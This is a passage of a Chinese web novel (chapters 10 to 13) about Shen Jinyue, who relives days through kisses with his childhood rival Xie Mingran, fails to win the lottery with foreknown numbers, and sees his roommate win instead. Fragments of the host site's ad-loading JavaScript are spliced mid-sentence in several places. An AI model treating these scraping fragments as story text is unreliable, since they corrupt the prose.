指尖敲敲桌子。 “起来了,继续。” 对面没反应。 沈今越蹙眉,弯腰,低头一看。 “……” 就这?还‘我都行’,还‘我不挑’?! 他想把谢明然丢在这不管了,可酒吧周围的人都看着他,极有眼力见的服务生还过来问:“先生,你的天干马尼还需要吗?” 沈今越当着服务员惊恐的面,伸手摸上谢明然的侧颈,动脉在跳,崽种尚存。 “我朋友酒量不行。”他委婉地说,“天干马尼就不用了,多少钱?我买单。” 咬牙拼命把谢明然的身子捞起来,扛在身上往外走的时候,沈今越骂骂咧咧地想: 这么能吹又这么沉,你才该演朱先生! · “这是?”这夜凌晨,施音拎着自己小行李箱嘎吱嘎吱进门,欢快的回家步伐在进门后停滞,她呼吸凝固,“沈茸茸,你杀人了?” 沈今越窝在沙发上,凉飕飕地说:“对,尸体,99新,全瑕出。” “这高矮大小看着不像徐云啊。”施音小心翼翼走过来,把躺在地面上的‘尸体’身上盖着的一张薄毯拎了起来,“咦,是帅哥,还是有点眼熟的帅哥。” “呀,这不是谢明然吗?”施音一拍脑门,“你那竹马!” 沈今越纠正:“注意措辞。” “相处愉快的叫竹马,相处不愉快的叫猪马。” 施音:“他回国啦?你从哪把他捡回来的?” 沈今越想起这事就怨念丛生:“阴曹地府。” 施音:“那他——” 沈今越:“没死,沾酒就睡,我服。别看我,我是不会让他上床的,我能一路扛着他打车回家已是仁至义尽,给他个枕头毯子是我道德高尚,进房间?不可能。” 说是这么说,沈今越考虑到谢明然一个陌生男的,躺在客厅里,施音多少有点不方便,实在有些不妥,最终起身把他拖进了卧室。 门一关,权当谢明然不存在。 “对了,我要跟你分享一件事。” “小茸茸,我真是爱死你了,你不知道你那个尾款来得有多及时。”施音激动到讲话时手部比划的动作一刻没停,“这简直就是我的fuckmoney!” “真的,我差点就想回头跟那导演道歉了,说我错了,刚刚是我意气用事,就差那么一丢丢丢——”泡菜国此刻一定会因为施音现在的动作而拉黑她,“然后我就想,我回去干嘛?我就缺今天这两千?姐又不是再赚不到。” “天,我坐车回来的时候,我都还在想,施音,你好棒,你做到了,在剧组那些傻逼老拿性别那一套说事的时候,你和你想象里的一样做到了!啊啊啊!迟早有一天,姐还会拿技术打他们的脸!” “谢谢你宝宝。”施音冲过来抱住沈今越,“你呢?感觉如何?” “我很好啊,不用担心我。”沈今越眉眼弯弯,“施音,我和你有一样的感受,你真的很棒。” 今天的施音不会知道,昨天的这个时候,她还在讲自己的坏话。明明是一样的事情,只是细小的前提变化了,结果就全然不同了。施音说得对,拿今天的自己去评判昨天的自己,真不公平。 就像是从小到大从大人嘴里提起的那个隔壁小孩一样。 他过去有讨厌这说法,现在就有多会如此比较自己。 沈今越回抱着施音,仗着身高优势揉揉她的脑袋,提议道:“好久没跟崔崔林妍聊天了,今晚打个视频?” 一切照旧,只是先发红包的人成了沈今越。 林妍不服,又发。 一时之间,群里已全然是过年的氛围。 抢了半天红包,崔崔惊觉:“不行,我先撤了,剧本还没写完。” 再来一次,有些事能改变,有些事却不能。譬如,崔雀雀永远拖到DDL最后一天才会飞快写出来的剧本作业。 · “茸茸,吵醒你了?我先我出门了,你继续睡哦。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 施音是个精力很旺盛的女性,具体体现在,同样是熬夜到四五点才睡,次日一早,沈今越要死不活,灵魂已出走半生,她却照样能够八点出门健身。沈今越不止一次怀疑过,这样真的不会猝死吗? “去吧。”沈今越窝在沙发上,长长一根猫缩成一团,被子的边角落在地上。 施音看不下去:“要不你还是回卧室睡吧?你瞧你,认床认成这样,自家沙发都睡不安稳,我开个门就把你弄醒了。” “不要。”沈今越倦却坚定地答,“我绝不可能跟他睡一个房间。” “那位还没醒?” “死猪一头。” 施音没辙,提了嘴今天估计很晚回来,她打算健完身准备去图书馆。 沈今越点点头,神志不清地跟她道别。 关门声消失许久后,沈今越这才闭上眼,接连几天熬夜叫他的脑子胀得过分,额前的神经一根接一根拼命地往外跳。 后悔了。 沈今越想。 叫谢明然喝酒到底是在折磨谁?可恶,他想念自己的席梦思小床,想念自己的乳胶枕头,也想念床上侧抱着十分柔软的鲨鱼玩偶。他在沙发上翻来覆去,实在无法入睡,一鼓作气站起来。 反正施音也出门了,把谢明然拖出来也没关系。 想到就做,沈今越开门,气势汹汹地弯腰,拉住谢明然身下的瑜伽垫。他真是个好心人,明明能直接叫谢明然睡地板的,他真贴心。 猛拽两下,男人与垫丝毫未动。 沈今越衰弱的神经受不了这气,他啪地放手,往前走,伸手去拽男人的肩膀,计划将之扛起来。 “你做什么?”尸体复活了。 褐黑的眼眸撞入一片茶色,惊得他双手一软,顿失力气,整个人朝前倒去,眼看会贴上谢明然的唇,沈今越吓得,二话不说把头往旁歪去。 开玩笑。 他可不想再回溯一遍今天,再熬一次夜,能把他累死。 上下颠倒,预估里的碰撞没发生,清醒的谢明然将他压在身下,一只大掌锁住沈今越的两手细腕,二人的体型与体力差距在此刻彰显完全。 “这是你家?”谢明然无甚表情的脸显得格外冷酷,“我怎么会在这?你对我——” 沈今越:“你说呢?我在酒里下药,把你骗了过来,趁你睡着偷偷摸摸——靠!不是,哥们,你真信啊?!” 他捕捉到谢明然低头检查自己衣服的动作。 沈今越冷然讥讽:“放心,我是男同,但也不是不挑。就算哪天你脱光了躺在我面前,我也是唐三藏转世,无欲无求。” 谢明然的双眸深深凝着他,忽然,他单手解起衣扣来。 沈今越:“傻逼!你做什么!” 10. 【010】 “天气热,散散温。”谢明然眸子里的嘲弄清晰无比,“沈圣僧,定力不行啊。” 沈今越:“……” 凸凸凸凸。 他弓起膝盖就是往上一顶。 谢明然闪避不及,小腹正面受击,疼得面目全非,沈今越借此挣脱控制,往旁滴溜一滚。 这还不解气,他抓起床上的枕头就往谢明然身上死死砸去。 “你有毛病是吧?”他骂,“自己沾酒就醉不知道,还说自己不挑都能喝,可把你自信得呢。喝醉了倒头就睡,跟个没事人一样,累得我扛猪似的,把你驼来驼去,我长得像骆驼吗你这样对我!!” “肩膀都被你压酸了!” “好心好意收留你,你呢?醒了就这么对我?!” 谢明然一把抓住枕头,扣住沈今越的手腕,将他往后一推,两人一块倒在床上。枕头挤在两个人中间,被压得快变了形状。 “那怎么办?”谢明然真心诚意地提供解决办法,“要不我扛回来?” 说完,他作势要把人往肩头抱。 沈今越怒吼一声。 “滚!” 谢明然已学会熟练地闪躲,裆部逃过一击,甚至还有余力抓住沈今越的腿,叫他不能再胡乱动作。 “什么时候属驴了?这么喜欢踢人。”他问。 沈今越龇眼:“你也算人?!” 谢明然瞧他,一双眼从琥珀变成茶水,刚沁好的那种,水温再烫点那眼珠子就能冒烟了,脸蛋也红,又急又气,生动得紧。 “是你让我喝酒的。”谢明然语气淡淡,“我听话陪你散心,有错吗?” “……”这是事实,沈今越难以反驳,但,没关系,他擅长在谢明然面前强词夺理,“你不会拒绝吗?没长嘴吗?你……你觉得我们俩是能一起喝酒的关系吗?” “怎么不能?别的都做了。” 沈今越脑子拉响警报:“什么?别的?我跟你做了什么?” “你……”谢明然的往沈今越脸上扫了眼,“算了。” 他起身,松开手,沈今越得了自由,第一反应是抱紧枕头,指尖掐住一角,追问:“你倒是说说,我跟你做了什么?” 不会吧,不会吧,谢明然这家伙不会记得嘴巴和嘴巴的事吧?! 他心虚又紧张,一想到这个可能,就觉得恼怒且崩溃。一双大眼死死锁定着谢明然的五官,不愿错过一丝表情。要是谢明然当真记得,那他以命起誓,这辈子真的不会再见这人一眼,他要彻底地从谢明然生命里消失。 “一张床都睡得,酒就喝不得了?” “谢明然!你别血口喷人,我们什么时候——” “你初二暑假。” “…………” 好吧。 沈今越闭嘴了。 那段时间谢家阿姐带他出去玩,旅游的时候,他是被迫跟这人同床共枕了几天。 就这么个事,谢明然还记得?神经,真是把他吓得要死。 “懒得和你争。”沈今越松开枕头,“赶紧走,自己麻溜地滚,我要补觉了。” 算上回溯这几次,他真的好些天没睡安稳了。 把谢明然踹出卧室,沈今越反手关上门,身子往床上倒去,如坠云端。他抱紧熟悉的鲨鱼玩偶,用侧脸在上蹭蹭,舒服地叹了口气,紧绷的神经终于得到放松,困意翻涌而来,把他裹入沉沉梦乡。 再醒过来,窗外的天是黑茫茫一片。 沈今越迷迷糊糊掏出手机看了眼,晚上六点二十。 他拖着还没彻底苏醒的身子往外走,卧室门一开,瞧见客厅沙发上的人影后,沈今越还以为自己看花眼了。手背蹭蹭眼睛,再三确认,他服了。 “你怎么还在这?” “等你。” 沈今越的脑子上冒出三个粗壮的问号。 “等我做什么?”他绞尽脑汁回忆,“我欠你钱了?”没有吧?这次又没五百块亲一口的事啊。 “上药。”谢明然把外送袋子里的东西拿出来,一一在茶几上摆好,药酒,膏药,揉的贴的,一应俱全。 “你抢药店了?”沈今越尚未搞清楚情况,“我刚刚那一膝盖把你顶出毛病了?你就等在这准备讹我是吧?” 呜呼哀哉,谢氏贼人,其心可诛! 谢明然看白痴的眼神又出现了。 “嚎肩酸的不是你?” 沈今越头上的问号从三个变成了六个,加倍,超级加倍。 “谢明然,你没事吧?”他说,“你别这样啊,突然一下有良心,我害怕。” 谢明然懒于解释,上前两下擒住沈今越,把他摁在沙发上。 沈今越的侧脸压住枕头,他扑棱身体:“你这是擦药吗!你是要上刑啊!” 全是因为他没睡醒,否则不会如此轻易叫谢明然得逞。沈今越坚决不承认,如今的他,在谢明然面前毫无招架之力,两个人的体型差实在有些明显。 沈今越纤细,不是易增肌的类型,谢明然则相反,一身簿肌,发力的时候,胸口硬梆梆得厉害。他还停留在少年人模样,谢明然已长成男人,隔着衣服都能感受到布料下的肌肉线条。 “闭嘴。”谢明然用手肘压在他身上,“自己脱,还是我来?” 好强烈的力道。沈今越翻了个白眼,放弃抵抗,伸手把宽松的白T往旁一拽,大圆领立刻变为挎肩。 “红了吧?我估摸就是红了,你都不知道你自己有多重,喝醉睡着了就跟死猪一样,我扛你一路我……呀!轻点!” 药酒倒上来,凉凉的,谢明然的掌心紧随其后覆上,用力揉着。 沈今越倒吸一口气,难以克制地哼唧:“唔……姓谢的……你给我……啊!你轻点!” 谢明然推揉的动作一顿,继而再次用力起来。 “我看你根本没安好心,什么给我……呜……给我上药,分明就是折磨我……” “是吗?”男人的声音自头顶而来,“说着要当演员的人,自己什么体质,不知道吗?” “沈昭扬在你脖子上骑小马,压了你一下午,你忘了?” 沈今越身子一僵,含恨地抱着枕头,咬牙切齿:“你没事记这些破事干嘛?” · 沈昭扬是沈今越的弟弟。 同父异母的弟弟。 跟半道被找回家的沈今越不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一样,沈昭扬是沈家上下期盼着降生的,从小如珠似玉,被全家捧在掌心,捂着怕摔了,含着怕坏了。 沈今越大他五岁,刚回家的时候,正巧是沈昭扬调皮捣蛋狗都嫌的年纪。 沈老爹忙着上班,沈太太早就离婚远走异国,在沈今越出现之前,沈昭扬都是被阿姨带着。 有天,沈昭扬不知道从哪看到了骑马马这个动作,闹着要让沈老爹陪他玩,沈老爹哪肯?他冷声叫沈今越把沈昭扬带走,小屁孩哭得惊天动地,赖着不肯走。沈今越干脆接了这重任,笑着说:“哥哥陪小扬玩,好不好?” 小孩子是不知道节制的,沈今越忍着陪他玩了一下午,当了半天的小马。 谢明然和家人来拜访时,瞧见的就是这么一幕。 那时候,沈今越已经和谢明然结了仇,这样被看见,他觉得丢人至极,偏偏还要哄着闹腾不休的沈昭扬下来,又懂事礼貌地朝谢家人打招呼。 记忆里,沈今越觉得,谢明然看他的眼神像在看小区里那只被丢过三次却还是要跑回家的蠢笨小狗。 他很讨厌谢明然这样的眼神。 那次以后,沈今越的肩膀痛了半个月才好。 期间,谢明棠领着他和谢明然去水上乐园玩,他都不敢脱小上衣,穿着短袖入水,只有在乐园里淋浴冲澡的时候,谢明然见到了他上背部至肩膀那一片恐怖的淤痕。 沈今越曾自嘲地想,他真是没有王子命,得了王子病,豌豆公主都没这么离谱。 没想到谢明然还记得这茬。 要不是他今天突然提起,这段回忆只会在沈今越的脑子里封箱蒙灰,永不拆开。他不喜欢回忆小时候的事,想起来只能给自己找不痛快。 神思飘远又回,沈今越惊觉,谢明然按了一会,他的肩膀是好多了。 “结束了?” 谢明然把膏药贴上去。 他敛眸,看着那褐色的方形覆盖在一片白皙之中。 “198。” “???” “我按行业市场价给你收费,不过分吧?药钱免了,只算手工。” 沈今越呵呵了。 他就知道,这人不可能这么好心。 叫谢明然起开,沈今越拿了手机,扫码给他付费。 “你搞错了,这不是收款码啊。” “哦,那你转我。” 沈今越气呼呼地加上谢明然的微信,给他发了200。 “剩下2块赏你了。”他说,“现在,立刻,滚出我家。” 他发誓,他知道这两天发誓是有些多了,但是老天奶,真的,他最后一次发誓,这是他这辈子见谢明然的最后一面。 从此以后,他与谢明然,桥归桥,路归路,老死不相往来。 现在的生活也挺好的,他实在没什么回溯的必要。 直到,两天后,九月六号,周四晚上,施音外出接活,沈今越待在沙发上享受独处时光,看了会电影,又拿出手机刷,往日死寂一片的小区业主群999+。他好奇点进去,屁股一瞬弹射起来,毫不犹豫地拨通了谢明然的微信电话。 哎呀,他怎么忘了,回溯还能干这事呀?! 11. 【011】 “什么事?” 谢明然接电话很慢,也不知道他在做什么。 “急事。”沈今越一边火急火燎地换衣服,一边开着外放冲手机讲话,“你在哪啊?给我地址,我来找你。” 谢明然:“我看起来像是会自讨苦吃的人吗?” 沈今越:“……真有急事!” 他支支吾吾没法说,余光瞟到两日前谢明然买来的药酒大礼包,灵机一动:“我肩膀好痛,谢师傅救个急呗?” 谢明然:“你觉得我们是能做这种事的关系吗?” 好记仇的男人。 沈今越咬牙:“198,接单不?” 谢明然没说话。 沈今越拼了:“298……300……500……!!” “成交。”谢明然愉快地答应了,“地址发你,速来。” 沈今越挂了电话,对着手机大比中指。 明明谢家也不缺钱,也不知道怎么着,养出这么一货。 谢明然如约发来地址,是沈今越印象中的酒店,门牌号1308,沈今越火速冲出去,鞋都换好了,这才想起借口,转头拿袋子将所有药都装上。 上专车第一件事,沈今越说:“师父,麻烦在遵守交规的情况下尽可能快一点,我赶时间。” 师父笑呵呵:“小伙子,这么急?去做什么啊?” 沈今越回:“逆天改命。” 十点三十八,沈今越下了车往酒店内冲,他给谢明然发消息叫他下楼来接他,没有房卡刷不了电梯,谢明然也没回。他没辙,利用巧妙的尾随技术,光明正大地混了进去。 敲响谢明然房门时,沈今越不住地反复踮着脚尖。 十点四十五,门打开了。 沈今越第一句话便是:“好慢,你在做——” 抱怨顿时被眼前人的模样截断,转而拐成另外一句话:“谢明然,穿件衣服吧你。” 谢明然腰间捆着一条白色浴巾,尚未擦干的水渍从他发梢滴落,他单手拉开房门,示意沈今越走进。 “拖鞋在门口。”说完这话,谢明然就回浴室擦头发。 沈今越火速换好鞋,坐在这单人小套间的沙发上。他打量着房间,断定这种房型一晚上住下来并不便宜。哼,有钱住套房,还要坐地起价,坑他五百块,可恶。 不过,一想到要是今天回溯成功以后会发生的事情,沈今越的气啪地一下就消散了。 “你就坐那?”谢明然收拾好出来,头发半湿,衣服总算是穿上了,浴巾换成了简单的家居服。 “都行。”沈今越不挑,他已经在来的路上想好了计划,“我就这样坐着也能按吧?” “药呢?” “茶几上!” 谢明然从塑料袋中拿出药品的时候,沈今越已经自觉地解开了衬衫的纽扣,衣服脱到一侧,露出左侧肩膀。 前两日发红到严重的皮肤已经淡下去。 谢明然:“你再来晚点就能痊愈了。” 沈今越一噎,找补道:“内伤!完全是内伤!” “五百块转你了,小谢师傅,麻溜地,干活!” 谢明然效仿着上次的动作,大掌按上去。 “脑袋瞎摆什么?”谢明然一掌揉开泛红的地方,“落枕?” 沈今越疼得吱哇大叫。 落个屁的枕。 他分明是在观察哪个角度方便偷袭。 太麻烦了,沈今越想,究竟是哪个挨千刀的想出这么离谱的魔法启动方式?还好只要回溯成功,谢明然就不会记得一切。否则的话,他还要不要活了? 沈今越迅速地在脑海里构思偷袭方式,并严谨地规划逃跑路线。趁着现在上药的姿势,转头碰瓷,紧接着,不管三七二十一,穿好衣服扭头就跑。 做贼心虚。 一个之前试图打探但是莫名就被抛在脑后的问题重新浮现出沈今越的思域。 “谢明然。” “没钱,不借。” “…………”沈今越扭头瞪他一眼,“你之前说你不谈恋爱,那你那你有没有和人接过吻啊?” 在他左肩上用力推揉的手掌停顿了一刻。 沈今越两眼一眯,猫猫锁定了猎物。 “有情况。”他诧异,“你接过?!” 谢明然:“你为什么这么惊讶?” 沈今越:“你不是说不谈恋爱嘛?” 谢明然:“是没谈。” “不谈恋爱也能接吻?”沈今越真没想到谢明然是这样的。 谢明然瞧着他:“你没有过?” “嘶——轻点!”沈今越倒吸一口气,不知为何谢明然突然这么用力,他发神经啊?生气什么?搞不懂,沈今越替自己喊冤,“我哪是这种人!” 他很保守的好不好?哦,昨天,前天,以及今天即将发生的……嗯,跟谢明然的不算,这些只是意外,是权衡利弊之下的产物,是力的作用下导致的肌肤触碰。 好吧,就算可以被视为亲吻,谢明然也不会记得,嘻嘻。他现在提到的一定是他以前的接吻事迹。 谢明然啊谢明然,嘴上说着不谈恋爱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,背地里却如此有经验。 这小伙子,玩挺开~ 沈今越心里为数不多的道德包袱彻底荡然无存。 “谢明然,你凑过来,我跟你说个事。” 这人屹然不动。 沈今越没辙,干脆强行转身,打断按摩男工谢师傅的上工时刻,反手拽着他家居服的领口就把人往自己面前拽。 电光火石,迅猛至极。 眼看就要成功,一只手挡了过来。 沈今越的嘴鼻一下充斥着难闻的药酒味道。 他率先受不住,扭头难受。 谢明然从他手里死里逃亲,退开两步,从容地整理着领口。 沈今越被熏得眼泪汪汪:“你干嘛?我只是想跟你说两句话。”假的。 后悔了。 沈今越想。 要是过去他知道未来有一天他得靠谢明然才能启动回溯,那他说什么都会忍辱负重多年,坚决不跟谢明然撕破脸皮,任由他这张嘴说出如何恼人的话,他都该学会左耳进右耳出,全然不听的。 现在怎么办? “老板,下钟了,你该走了。”五百块到手,谢明然赶人的时候迅速且直接。 沈今越低头瞄了眼手腕上的表,十一点零三。 “刚刚被你那一掌熏死了,总得让我借用下卫生间洗个脸吧?现在嘴巴上都是那药酒的味道。” “随你。” 沈今越起身,进卫生间去,关上门,磨砂玻璃透出他的身形。 “谢明然,你这水龙头坏了啊。”他在里面说话。 谢明然蹙眉,拉开门,低头欲看,一只手就勾上他的脖颈,仰着头,瞄准他的唇。 这是很漂亮的画面,白衬衫青年脖颈修长,没扣好的领口散露出精致的锁骨。 除了—— 沈今越拼命地把嘴上的药酒味蹭到谢明然的唇上,茶色眼瞳中全是得逞后的快意。 “谢明然,我请你喝酒啊。” 沈今越是抱着杀敌一千自损八百的心态干这事的,他甚至想过要不要在嘴上涂一圈洗手液恶心谢明然,但,他怕中毒。 还是药酒吧,小惩大诫,如此就好。 后撤一步准备按照规划好的路线逃之夭夭,腰却被狠狠掐住,身子被强有力的手臂往前送,谢明然的唇去而复返,取而代之的是,他还强行趁沈今越惊讶,违规伸出了舌尖。 卧槽。 沈今越感觉自己娇嫩可怜的小舌头受到了化学袭击。 药酒…… 好可怕的味道!!!! 12. 【012】 一吻过后,不到三秒,两人纷纷放开彼此。四目相对,死意蔓延。 沈今越的舌尖辣苦辣苦,还带着一股古怪的感觉,他双眉锁死,怎么也想不通:“你疯了?!” 谢明然已拿起漱口小杯吨吨清洗口腔。 在第三遍吐出水以后,谢明然用手背蹭掉唇边的水渍,两手撑着盥洗台边缘,低看着抱着马桶眼含热泪的某人。 “来而不往非礼也。”他说,“沈今越,我也请你喝酒。” 沈今越没话说,他算是对谢明然的好胜心再次有了一个清楚的认识。 为了报复他,谢明然居然亲得下嘴?还能伸舌头?他都做不出这事。 “谢明然,算你狠。”沈今越抱着马桶泪眼汪汪,不是哭的,是干呕以后生理性的反应。 他算是发现了,自从开始回溯那天,他的人生关键词就只剩一个字:呕。 起身,一屁股把谢明然撞开,埋头直接在水龙头下接水,好几口以后,沈今越才感觉嘴里的药酒味散开。 尽管如此,某种诡异的触感与味觉还在他的舌尖上停留。 沈今越光是想到就浑身猛一哆嗦。 这次就算了,下次真不能来强的了。沈今越是看明白了,要是在谢明然保持清醒的状态亲他,后果就和刚刚没什么两样。 两手撑在盥洗台上缓好几口气,抬手擦了擦被迫渗出来的眼泪。 没关系。 沈今越告诉自己。 等走出这个房间,十二点一过,他又是一条好人。 “药。”沈今越气冲冲往门外走时,谢明然提醒他。 “送你了!”他这辈子都不想再看到药酒! 砰—— 酒店房门狂躁地关上合拢,余音震动在套房之内,谢明然抬手,腕表上的时间清晰明显。 · 沈今越没打算回家,反正离十二点也不久了,等会半路回溯容易把司机吓死。他在酒店附近闲逛一圈后,找了个带座位的便利店发呆,很晚的时候接到了施音的电话,这女人听起来超激动。 “沈茸茸!我跟你说个大事——!” “什么事?!” “我——” 十二点的钟声敲响。 沈今越这一瞬,真的很想把时钟倒调回十二点之前。至少让他把施音的话听完啊! 怀抱着无奈的心情照旧醒来后,依旧是九月六号。 沈今越清楚地摸清透了回溯的规则。 触发回溯以后,零点重启,开启回溯,以他被回溯当日的清醒时间作为刷新点。 这次回溯后是早上七点,闹钟刚醒,他睁开眼,得赶早八的课,还要去晨练。 身体缓了好一阵,沈今越清楚地感知到回溯的副作用比上次减轻了些许。 室友施音还在睡,沈今越迅速换了衣服,丢掉了客厅里叫他看了就想到不妙回忆的药酒大礼包,照例去小区门口买早餐。远远地看了眼,包子铺热气腾腾,煮茶叶蛋的大锅温嘟嘟地滚动着,香味飘过来,肚子咕咕一叫,吞了口唾液,沈今越瞬间不饿了。 服了。 是心理作用吗?感觉口腔里都还是药酒的味道。 对谢明然的恨又加重一分,往外走,来到小区还未开张的福利彩票店门口,一想到今天会发生的事情,沈今越的恨意又淡淡消散了几许。 10:00-22:00营业。 那他上午结课以后再来。 沈今越上课都比平日格外投入,就连老师都忍不住夸他状态超好,问他,是遇到什么好事了吗? 沈今越腼腆笑笑。 中午下课,在别的同学匆忙走进食堂时,他选择快步回家,走进小区彩票的店面,自选了号码,并在店家震惊的眼神里一口气买了100注。 “小伙子,你确定吗?” 沈今越点点头。 厚厚一沓彩票到手,他立刻拍了张照,发到群里。 (内鱼救猩) 只茸:都给我买。 林有钱:你也终于走上我的老路了? 只茸:去买我这注,今晚必中。 是的,沈今越这话没有丝毫的夸张成分。 他完全是作弊式得知今天晚上九点会出的彩票号码。 原本他还计划,看在谢明然多少也算他暴富之路上的功臣之一,等中奖以后给他分点汤吃,哪曾想—— 哼! 谢明然一口都没了。 只茸:都去买! 林有钱:这么自信? 只茸:是哒! 只茸:总之!信我! 只茸:不买也没事,我都给你们备好了,这么一沓,到时候咱群友几个直接原地躺平。 林有钱:怎么?内部人员给你点拨了? 只茸:嘿嘿,算是吧。 melody:收到,下午出门就去买~ 只茸:你还在家里? melody:赖床一下,晚上又要搬砖TT 只茸:要吃什么?我带回来。 买完彩票,沈今越把厚厚一沓暴富门票妥善装好,随便塞了点食物饱腹,给施音带完饭以后,光明正大地在下午的公识课上构思这夸张的奖票金额该如何用掉。 脑子里转了一圈,沈今越发现一个可怕的事。 他竟然没有什么特别想买的东西。 现在租的房子挺好,搬家好累,买房也没资格,车子更用不着,地铁不比堵车好吗?其余的?衣服,鞋子,包包,饰品…… 老实说,沈今越一贯对这些东西没什么执着,现在经常穿大牌,也不过是为了融入周遭的氛围罢了。 这笔钱到手倒是够他躺平几辈子,可沈今越他贱啊,他就想当演员,就想拍戏。难道拿这钱去给自己砸资源拍电影?那恐怕是一口气砸完,也不一定能听到个响。 唔,再想想呢? 施音想去留学,有了这钱,她就不用像现在这样拼,大学读得跟上班一样,隔三差五都泡在组里。 林妍家的负债不知道还清没有,她一贯不爱和他们分享这些事情,她以前倒是喜欢衣服包包,可以买给她。 至于崔雀雀?沈今越想来想去,只能想到他追星这事,也不知道花钱能不能买到一个他跟偶像见面的机会。 重要的人想了个遍,沈今越一算,即将到手的钱还剩好多。 不行,还得规划规划。 黑色的中性笔在指尖转了个圈,沈今越来了主意。 只茸:滴滴。 秉持着求人的态度,沈今越斟酌了半天,发出一行礼貌又客气的字。 只茸:你好,在吗?有事请教。 他焦急地盯着手机,鞋子不住敲打地面,屏幕黑了又亮,时不时看了一眼。 服。 这人在干嘛? 半小时后,沈今越都开始怀疑他是不是被拉黑删除了,对方回消息了。沈今越看着他(正在输入中)老半天,最后来了一句。 R:发错人了? 神经病。 只茸:我视力有那么差?! R:看来是真有事相求。 只茸:[火猫三丈.jpg] R:在,你求吧。 只茸:[森贝儿小狗眉毛点火.jpg] R:需要我帮你叫消防队员? 只茸:你还是先给自己打120吧!! R:放心了,你周围的建筑物生命尚且安全。 只茸:你不安全/菜刀/菜刀/菜刀 小学生拌嘴半天,沈今越才反应过来自己一开始为何要给谢明然这厮发消息。 只茸:喂,问你个事。 R:现在倒是正常不少^^ 这人是抖M?这个微笑表情配上记忆里 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谢明然说话的语气…… 沈今越深呼吸一口气。 只茸:棠棠姐的公司现在还能投资吗?我手上有笔钱,不知道干嘛用。 R:[分享定位] 只茸:这什么啊? R:证券交易所。 沈今越啪嗒一声捏断了笔帽上的小夹扣。 R:你没有谢明棠微信? 只茸:怎么可能? R:那怎么不去问她? 只茸:棠棠姐好忙,我不想打扰她。 R:我就很闲? 只茸:不然? 谢明然看了眼屏幕红红绿绿的界面与一堆催稿的工作消息。 三分钟后。 R:[引用]中彩票了? 沈今越看见这四个字时大吓一跳,心里紧张起来。 只茸:我就不能有点其他的来钱途径? R:难说。 R:据我所知,你家也没有能给你留下巨额遗产的亲戚。 R:《刑法致富指南》这本书你大概也读不懂。 谢明然的嘴一如既往地讨厌,沈今越却松了口气,是他又想多了,做贼心虚,差点还以为谢明然记得一切。不可能,根本不可能。要是这样,在他嘴巴碰到谢明然第一次以后,这家伙就应该离他十万八千里远。 只茸:天要我富,我不得不富。 只茸:[凸] 他删掉和谢明然的聊天界面,并不想让这个人的备注‘傻逼’和山水头像出现在自己的微信聊天列表之中。 他看了眼时间,距离晚上九点,全世界知道他马上要暴富的时刻,还有五小时。 五小时后,百年难得打开一次电视频道的沈今越,蹲守在客厅严阵以待。 球开始转了! 一个数,两个数,三个数…… 红色的数字每出来一次,沈今越就往茶几上铺开的彩票瞟一眼,心跳呈倍率增长。 中了,中了—— 咦? 幸运之神站在他的身侧,于第五个红球数字以后停下。 沈今越非常确定自己没有背错中奖号码,就那么七个数字,能把古典戏剧倒背如流的他,不可能记错这七个数字。 失神地往后一靠,屏幕里球再继续滚动也提不起他的心跳。 茶几上一百张彩票意外地摆出了笑脸的模样,似乎在嘲笑他的无知和愚蠢。 电视里,新的大奖号码已经出炉。 手机上,沉寂许久的小区群依旧炸了起来,彩票店家说他们这出了一注大奖。 沈今越忽然觉得自己昨天火急火燎冲出去的样子像烧了屁股的小猴一般可笑。 原来命运真有自己的安排,这是连回溯都无法改变的事情。 好吧。 沈今越颓丧了会,拍拍脸蛋,让自己清醒一点。 他点进群聊。 (内鱼救猩) 只茸:呜呜,让家人们失望了TT 林有钱:?!? 林有钱:失望啥!!中了啊!!四等奖!!200块呢!! 林有钱:只茸茸你真是选彩票的神,我这么多年来第一次中奖。 melody:我也买了,开奖了吗? 林有钱:开了,茸子的号码是四等奖~ melody:那我也中了200!开心! melody:等等…… 崔崔:我终于交上了剧本作业。 崔崔:啊? 崔崔:什么彩票?你们在说什么? 等了半天,施音也没在群里有消息,取而代之的,是沈今越的手机弹来了电话。 “怎么啦音音?” “沈茸茸!我跟你说个大事——!” “什么事?!” “我——”施音大吸一口气,“我彩票中了六位数?!你敢信?!?” 13. 【013】 沈今越听到这句话脑子里当场就嗡了一声。 他一下想起回溯之前,十二点时分,施音给他打来的电话。 这么一串,沈今越猜,难道施音就是那个命中注定要在今天中奖的人?! “茸茸,越子,怎么不说话?你也惊呆了吧?卧槽,我到现在都没回过神来,这是真的?” “既然数字都一样,还能有假?”沈今越难掩激动,“施小音,你中大奖了!” “啊啊啊啊——” 按照施音的说法,她原本是只打算买一注沈今越在群里提的号码,她是那种从没设想过自己有暴富之日的人类。恰巧的是,买彩票时,施音兜里还有五块零钱。是的,为了逼自己勤俭节约,施音近来在实施现金省钱法。 无纸币化带来了方便,也在某种意义上抹去了施音对金钱的感知程度。她从这个月开始就践行纸币存钱法,效果未知。 五块钱正好买两注,施音临时起意,决定把最后一位数字换成自己的幸运数字。 尽管这数字似乎从没带给她幸运过。 直到—— “太好了。”沈今越由衷地感到庆幸,“你那命运的齿轮终于转起来了呀!” 太好了,施音中奖了。 太好了,中奖的人还是施音。 要是因为回溯而意外在不知情的状况下得到了这奖金,沈今越都觉得钱拿着烫手。 施音一时没敢跟崔崔和林妍说这事,直到她跟着沈今越两个人悄悄摸摸去彩票店兑了奖,走完一通流程,确认到手后根据当期奖池她能拿到税后四十来万的奖金。 “在想什么?”沈今越看施音坐在客厅不停地拿笔写写画画。 施音:“我在想,钱到账了,咱俩对半分?” 沈今越吓死:“你跟我分什么分?” 施音嘟囔:“那得多亏你那注号码呀,不然哪有我的今天?” 沈今越:“神经,自己把钱攒着,给我好好读书去。” “嗐,就这点?一年都指定不够的,这顶多真算个fuckmoney,老天奶开眼心善,送了我点底气。”施音琢磨着,“我想了半天,该给你们买啥,最后觉得还是拿钱实在。” 沈今越扑哧笑出声,仿佛看到不久前的自己。 “你笑什么?” “没。”沈今越在她身边坐下,“就觉得这样也挺好。” 